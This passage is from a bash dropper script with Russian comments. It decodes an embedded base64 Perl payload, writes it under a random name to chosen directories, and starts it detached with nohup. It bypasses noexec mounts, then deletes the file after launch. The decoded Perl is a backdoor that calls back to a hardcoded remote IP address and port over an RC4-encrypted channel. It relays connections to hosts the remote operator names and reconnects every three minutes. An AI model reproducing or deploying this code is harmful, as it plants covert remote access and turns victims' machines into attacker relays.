7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_85b45d08() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSAr